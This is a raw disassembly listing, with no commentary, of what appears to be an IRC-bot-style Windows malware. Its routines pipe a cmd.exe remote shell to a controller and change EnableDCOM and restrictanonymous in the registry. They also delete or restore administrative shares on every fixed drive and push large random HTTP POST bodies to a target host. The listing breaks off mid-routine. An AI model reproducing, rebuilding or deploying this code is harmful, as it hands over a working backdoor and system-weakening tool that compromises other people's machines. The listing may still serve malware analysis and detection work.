		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4F3330

loc_41A7B0:				; CODE XREF: sub_41A798+79j
					; sub_41A798+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4F3324
		call	dword_4F5460	; PeekNamedPipe
		test	eax, eax
		jz	loc_41A87E
		cmp	[ebp+var_4], edi
		jnz	short loc_41A813
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4F3320
		call	dword_4F545C	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_41A809
		cmp	[ebp+var_8], 103h
		jnz	loc_41A8A2

loc_41A809:				; CODE XREF: sub_41A798+62j
		push	0Ah
		call	dword_4F534C	; Sleep
		jmp	short loc_41A7B0
; ---------------------------------------------------------------------------

loc_41A813:				; CODE XREF: sub_41A798+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_41A82A

loc_41A81A:				; CODE XREF: sub_41A798+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_41A878
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_41A81A

loc_41A82A:				; CODE XREF: sub_41A798+80j
		mov	[ebp+var_4], esi

loc_41A82D:				; CODE XREF: sub_41A798+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4F3324
		call	dword_4F53BC	; ReadFile
		test	eax, eax
		jz	short loc_41A8CA
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4F3364
		call	sub_41A711
		add	esp, 0Ch
		jmp	loc_41A7B0
; ---------------------------------------------------------------------------

loc_41A878:				; CODE XREF: sub_41A798+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_41A82D
; ---------------------------------------------------------------------------

loc_41A87E:				; CODE XREF: sub_41A798+45j
		push	offset unk_450DC8
		push	ebx
		push	dword_4F3364
		call	sub_41A711
		push	[ebp+arg_0]
		call	sub_40B9A7
		add	esp, 10h
		push	1
		call	dword_4F53A0	; ExitThread

loc_41A8A2:				; CODE XREF: sub_41A798+6Bj
		call	sub_41A6A9
		push	offset unk_450DF8
		push	ebx
		push	dword_4F3364
		call	sub_41A711
		push	[ebp+arg_0]
		call	sub_40B9A7
		add	esp, 10h
		push	edi
		call	dword_4F53A0	; ExitThread

loc_41A8CA:				; CODE XREF: sub_41A798+C3j
		push	offset unk_450E20
		push	ebx
		push	dword_4F3364
		call	sub_41A711
		push	[ebp+arg_0]
		call	sub_40B9A7
		add	esp, 10h
		push	edi
		call	dword_4F53A0	; ExitThread
sub_41A798	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8ED	proc near		; CODE XREF: sub_401C87+24C1p
					; sub_4165C7+99p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	esi
		push	edi
		call	sub_41A6A9
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe_0 ; "cmd.exe"
		push	esi
		call	dword_4E3140	; SearchPathA
		test	eax, eax
		jz	loc_41A9E7
		lea	eax, [ebp+var_1C]
		mov	edi, dword_4F53D0
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], 1
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_41A9E7
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_41A9E7
		mov	edi, dword_4F53CC
		push	3
		push	esi
		push	esi
		push	offset dword_4F3328
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_4F53C8	; DuplicateHandle
		test	eax, eax
		jz	short loc_41A9E7
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41E4B0
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41E4B0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		lea	eax, [ebp+var_178]
		push	offset byte_4F3369
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	dword_4F5340	; CreateProcessA
		test	eax, eax
		jnz	short loc_41A9EF

loc_41A9E7:				; CODE XREF: sub_41A8ED+2Ej
					; sub_41A8ED+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_41AAA1
; ---------------------------------------------------------------------------

loc_41A9EF:				; CODE XREF: sub_41A8ED+F8j
		push	[ebp+var_4]
		mov	edi, dword_4F533C
		call	edi	; CloseHandle
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4F3324, eax
		mov	eax, [ebp+var_8]
		mov	dword_4F332C, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4F3320, eax
		call	edi	; CloseHandle
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4F3364, eax
		jz	short loc_41AA29
		push	[ebp+arg_4]
		jmp	short loc_41AA2E
; ---------------------------------------------------------------------------

loc_41AA29:				; CODE XREF: sub_41A8ED+135j
		push	offset word_4F336A

loc_41AA2E:				; CODE XREF: sub_41A8ED+13Aj
		push	offset dword_4F3330
		call	sub_41EA60
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_450E58
		call	sub_40B691
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_455FC8[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_41A798
		push	esi
		push	esi
		call	dword_4F5350	; CreateThread
		cmp	eax, esi
		mov	dword_455FD4[edi], eax
		jnz	short loc_41AA9F
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_450E7C
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_415A3C
		add	esp, 10h

loc_41AA9F:				; CODE XREF: sub_41A8ED+189j
		xor	eax, eax

loc_41AAA1:				; CODE XREF: sub_41A8ED+FDj
		pop	edi
		pop	esi
		leave
		retn
sub_41A8ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AAA5	proc near		; DATA XREF: sub_401C87+2E02o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_41AAEC
		call	sub_41AB05
		jmp	short loc_41AAF1
; ---------------------------------------------------------------------------

loc_41AAEC:				; CODE XREF: sub_41AAA5+3Ej
		call	sub_41AE2B

loc_41AAF1:				; CODE XREF: sub_41AAA5+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B9A7
		pop	ecx
		push	0
		call	dword_4F53A0	; ExitThread
sub_41AAA5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB05	proc near		; CODE XREF: sub_41AAA5+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4E3154, edi
		jnz	loc_41AC37
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4E30F8	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41AB90
		mov	ax, word_450EF0
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4E30AC	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_214]
		jz	short loc_41AB78
		push	offset dword_450F00
		jmp	short loc_41AB7D
; ---------------------------------------------------------------------------

loc_41AB78:				; CODE XREF: sub_41AB05+6Aj
		push	offset dword_450F24

loc_41AB7D:				; CODE XREF: sub_41AB05+71j
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4E3064	; RegCloseKey
		jmp	short loc_41ABA3
; ---------------------------------------------------------------------------

loc_41AB90:				; CODE XREF: sub_41AB05+36j
		lea	eax, [ebp+var_214]
		push	offset dword_450F44
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx

loc_41ABA3:				; CODE XREF: sub_41AB05+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41ABC2
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 14h

loc_41ABC2:				; CODE XREF: sub_41AB05+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415A3C
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4E30F8	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41AC30
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4E30AC	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_214]
		jz	short loc_41AC18
		push	offset dword_450F88
		jmp	short loc_41AC1D
; ---------------------------------------------------------------------------

loc_41AC18:				; CODE XREF: sub_41AB05+10Aj
		push	offset dword_450FC4

loc_41AC1D:				; CODE XREF: sub_41AB05+111j
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4E3064	; RegCloseKey
		jmp	short loc_41AC4A
; ---------------------------------------------------------------------------

loc_41AC30:				; CODE XREF: sub_41AB05+E2j
		push	offset dword_450FF8
		jmp	short loc_41AC3C
; ---------------------------------------------------------------------------

loc_41AC37:				; CODE XREF: sub_41AB05+13j
		push	offset dword_451034

loc_41AC3C:				; CODE XREF: sub_41AB05+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx

loc_41AC4A:				; CODE XREF: sub_41AB05+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41AC69
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 14h

loc_41AC69:				; CODE XREF: sub_41AB05+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415A3C
		cmp	dword_4E317C, edi
		pop	ecx
		jnz	loc_41ADE6
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi

loc_41AC8C:				; CODE XREF: sub_41AB05+2C5j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4E2FCC
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41AD2B
		cmp	eax, 0EAh
		jz	short loc_41AD2B
		xor	esi, esi

loc_41ACBA:				; CODE XREF: sub_41AB05+21Fj
		push	off_450ED0[esi]
		push	edi
		call	sub_419909
		pop	ecx
		pop	ecx
		push	off_450ED0[esi]
		test	eax, eax
		lea	eax, [ebp+var_214]
		jnz	short loc_41ACDF
		push	offset dword_451064
		jmp	short loc_41ACE4
; ---------------------------------------------------------------------------

loc_41ACDF:				; CODE XREF: sub_41AB05+1D1j
		push	offset dword_451088

loc_41ACE4:				; CODE XREF: sub_41AB05+1D8j
		push	200h
		push	eax
		call	sub_41EC30
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41AD11
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 14h

loc_41AD11:				; CODE XREF: sub_41AB05+1F0j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415A3C
		add	esi, 8
		pop	ecx
		cmp	esi, 20h
		jb	short loc_41ACBA
		jmp	loc_41ADC3
; ---------------------------------------------------------------------------

loc_41AD2B:				; CODE XREF: sub_41AB05+1AAj
					; sub_41AB05+1B1j
		mov	esi, [ebp+var_8]
		xor	ebx, ebx
		inc	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41ADBA

loc_41AD3A:				; CODE XREF: sub_41AB05+2B1j
		mov	edi, [esi]
		push	edi
		call	sub_421E60
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41ADAF
		push	edi
		call	sub_4197F6
		push	eax
		push	0
		call	sub_419909
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		lea	eax, [ebp+var_214]
		jnz	short loc_41AD6F
		push	offset dword_4510B4
		jmp	short loc_41AD74
; ---------------------------------------------------------------------------

loc_41AD6F:				; CODE XREF: sub_41AB05+261j
		push	offset dword_4510D8

loc_41AD74:				; CODE XREF: sub_41AB05+268j
		push	200h
		push	eax
		call	sub_41EC30
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41ADA2
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 14h

loc_41ADA2:				; CODE XREF: sub_41AB05+281j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415A3C
		pop	ecx

loc_41ADAF:				; CODE XREF: sub_41AB05+244j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41AD3A
		xor	edi, edi

loc_41ADBA:				; CODE XREF: sub_41AB05+22Fj
		push	[ebp+var_8]
		call	dword_4E3118

loc_41ADC3:				; CODE XREF: sub_41AB05+221j
		cmp	[ebp+var_10], 0EAh
		jz	loc_41AC8C
		lea	eax, [ebp+var_214]
		push	offset dword_451104
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41ADF9
; ---------------------------------------------------------------------------

loc_41ADE6:				; CODE XREF: sub_41AB05+177j
		lea	eax, [ebp+var_214]
		push	offset dword_45112C
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx

loc_41ADF9:				; CODE XREF: sub_41AB05+2DFj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41AE17
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 14h

loc_41AE17:				; CODE XREF: sub_41AB05+2F7j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415A3C
		pop	ecx
		xor	eax, eax
		pop	edi
		inc	eax
		pop	esi
		leave
		retn
sub_41AB05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE2B	proc near		; CODE XREF: sub_41AAA5:loc_41AAECp

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4E3154, edi
		jnz	loc_41AF59
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4E30F8	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41AEB6
		mov	ax, word_45115C
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom_0 ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4E30AC	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_220]
		jz	short loc_41AE9E
		push	offset dword_45116C
		jmp	short loc_41AEA3
; ---------------------------------------------------------------------------

loc_41AE9E:				; CODE XREF: sub_41AE2B+6Aj
		push	offset dword_451190

loc_41AEA3:				; CODE XREF: sub_41AE2B+71j
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4E3064	; RegCloseKey
		jmp	short loc_41AEC9
; ---------------------------------------------------------------------------

loc_41AEB6:				; CODE XREF: sub_41AE2B+36j
		lea	eax, [ebp+var_220]
		push	offset dword_4511AC
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx

loc_41AEC9:				; CODE XREF: sub_41AE2B+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41AEE8
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 14h

loc_41AEE8:				; CODE XREF: sub_41AE2B+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415A3C
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4E30F8	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41AF52
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanon_0 ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], edi
		call	dword_4E30AC	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_220]
		jz	short loc_41AF3A
		push	offset dword_4511F0
		jmp	short loc_41AF3F
; ---------------------------------------------------------------------------

loc_41AF3A:				; CODE XREF: sub_41AE2B+106j
		push	offset dword_451230

loc_41AF3F:				; CODE XREF: sub_41AE2B+10Dj
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4E3064	; RegCloseKey
		jmp	short loc_41AF6C
; ---------------------------------------------------------------------------

loc_41AF52:				; CODE XREF: sub_41AE2B+E2j
		push	offset dword_451268
		jmp	short loc_41AF5E
; ---------------------------------------------------------------------------

loc_41AF59:				; CODE XREF: sub_41AE2B+13j
		push	offset dword_4512A4

loc_41AF5E:				; CODE XREF: sub_41AE2B+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx

loc_41AF6C:				; CODE XREF: sub_41AE2B+125j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41AF8B
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 14h

loc_41AF8B:				; CODE XREF: sub_41AE2B+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415A3C
		cmp	dword_4E317C, edi
		pop	ecx
		jnz	loc_41B102
		xor	esi, esi

loc_41AFA6:				; CODE XREF: sub_41AE2B+1ECj
		push	dword_450ED4[esi]
		push	off_450ED0[esi]
		push	edi
		call	sub_41985D
		add	esp, 0Ch
		push	off_450ED0[esi]
		test	eax, eax
		lea	eax, [ebp+var_220]
		jnz	short loc_41AFD2
		push	offset dword_4512D4
		jmp	short loc_41AFD7
; ---------------------------------------------------------------------------

loc_41AFD2:				; CODE XREF: sub_41AE2B+19Ej
		push	offset dword_4512F4

loc_41AFD7:				; CODE XREF: sub_41AE2B+1A5j
		push	200h
		push	eax
		call	sub_41EC30
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41B004
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 14h

loc_41B004:				; CODE XREF: sub_41AE2B+1BDj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415A3C
		add	esi, 8
		pop	ecx
		cmp	esi, 10h
		jb	short loc_41AFA6
		push	ebx
		call	dword_4F5464	; GetLogicalDrives
		mov	edi, eax
		mov	bl, 41h
		test	edi, edi
		jz	loc_41B0EA

loc_41B02C:				; CODE XREF: sub_41AE2B+2B9j
		mov	eax, edi
		and	eax, 1
		cmp	al, 1
		jnz	loc_41B0E0
		cmp	bl, 41h
		jz	loc_41B0E0
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41EC30
		push	esi
		push	offset aC_3	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_41EC30
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4E30E8	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_41B0E0
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_41985D
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_220]
		jnz	short loc_41B0A0
		push	offset dword_451328
		jmp	short loc_41B0A5
; ---------------------------------------------------------------------------

loc_41B0A0:				; CODE XREF: sub_41AE2B+26Cj
		push	offset dword_451348

loc_41B0A5:				; CODE XREF: sub_41AE2B+273j
		push	200h
		push	eax
		call	sub_41EC30
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41B0D3
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 14h

loc_41B0D3:				; CODE XREF: sub_41AE2B+28Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415A3C
		pop	ecx

loc_41B0E0:				; CODE XREF: sub_41AE2B+208j
					; sub_41AE2B+211j ...
		inc	bl
		shr	edi, 1
		jnz	loc_41B02C

loc_41B0EA:				; CODE XREF: sub_41AE2B+1FBj
		lea	eax, [ebp+var_220]
		push	offset dword_451370
		push	eax
		call	sub_41EA60
		pop	ecx
		xor	edi, edi
		pop	ecx
		pop	ebx
		jmp	short loc_41B115
; ---------------------------------------------------------------------------

loc_41B102:				; CODE XREF: sub_41AE2B+173j
		lea	eax, [ebp+var_220]
		push	offset dword_451394
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx

loc_41B115:				; CODE XREF: sub_41AE2B+2D5j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41B133
		push	edi
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 14h

loc_41B133:				; CODE XREF: sub_41AE2B+2EDj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415A3C
		pop	ecx
		xor	eax, eax
		pop	edi
		inc	eax
		pop	esi
		leave
		retn
sub_41AE2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B147	proc near		; CODE XREF: sub_41B33E+CBp
					; sub_41B33E+DDp ...

arg_0		= dword	ptr  4

		call	dword_4F537C	; GetTickCount
		push	eax
		call	sub_41EB60
		pop	ecx
		call	sub_41EB70
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41B147	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B161	proc near		; CODE XREF: sub_41B33E+D4p
					; sub_41B33E+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41BC70
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41B33A
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41E4B0
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AD91
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41B33A
		push	50h
		call	dword_4E3088	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4E3108	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41B33A
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4E3030	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_41B33A
		push	32003h
		call	sub_420C30
		mov	edi, dword_4F537C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi	; GetTickCount
		push	eax
		call	sub_41EB60
		call	sub_41EB70
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41E4B0
		push	32000h
		push	esi
		push	ebx
		call	sub_41E4B0
		push	ebx
		call	sub_41BC70
		push	323EAh
		mov	ebx, eax
		call	sub_420C30
		push	ebx
		mov	esi, eax
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41EA60
		push	[ebp+var_8]
		push	esi
		call	sub_41F630
		push	offset asc_4513FC ; "\r\n"
		push	esi
		call	sub_41F630
		add	esp, 40h
		push	esi
		call	sub_41BC70
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_10], ebx
		call	edi	; GetTickCount
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41B2B8
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41B288
; ---------------------------------------------------------------------------

loc_41B285:				; CODE XREF: sub_41B161+155j
		mov	eax, [ebp+arg_0]

loc_41B288:				; CODE XREF: sub_41B161+122j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		add	eax, esi
		cmp	ecx, ebx
		jnb	short loc_41B29A
		push	[ebp+var_C]
		jmp	short loc_41B29B
; ---------------------------------------------------------------------------

loc_41B29A:				; CODE XREF: sub_41B161+132j
		push	ebx

loc_41B29B:				; CODE XREF: sub_41B161+137j
		push	eax
		push	[ebp+var_4]
		call	dword_4E30D8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B321
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41B285

loc_41B2B8:				; CODE XREF: sub_41B161+118j
		call	edi	; GetTickCount
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
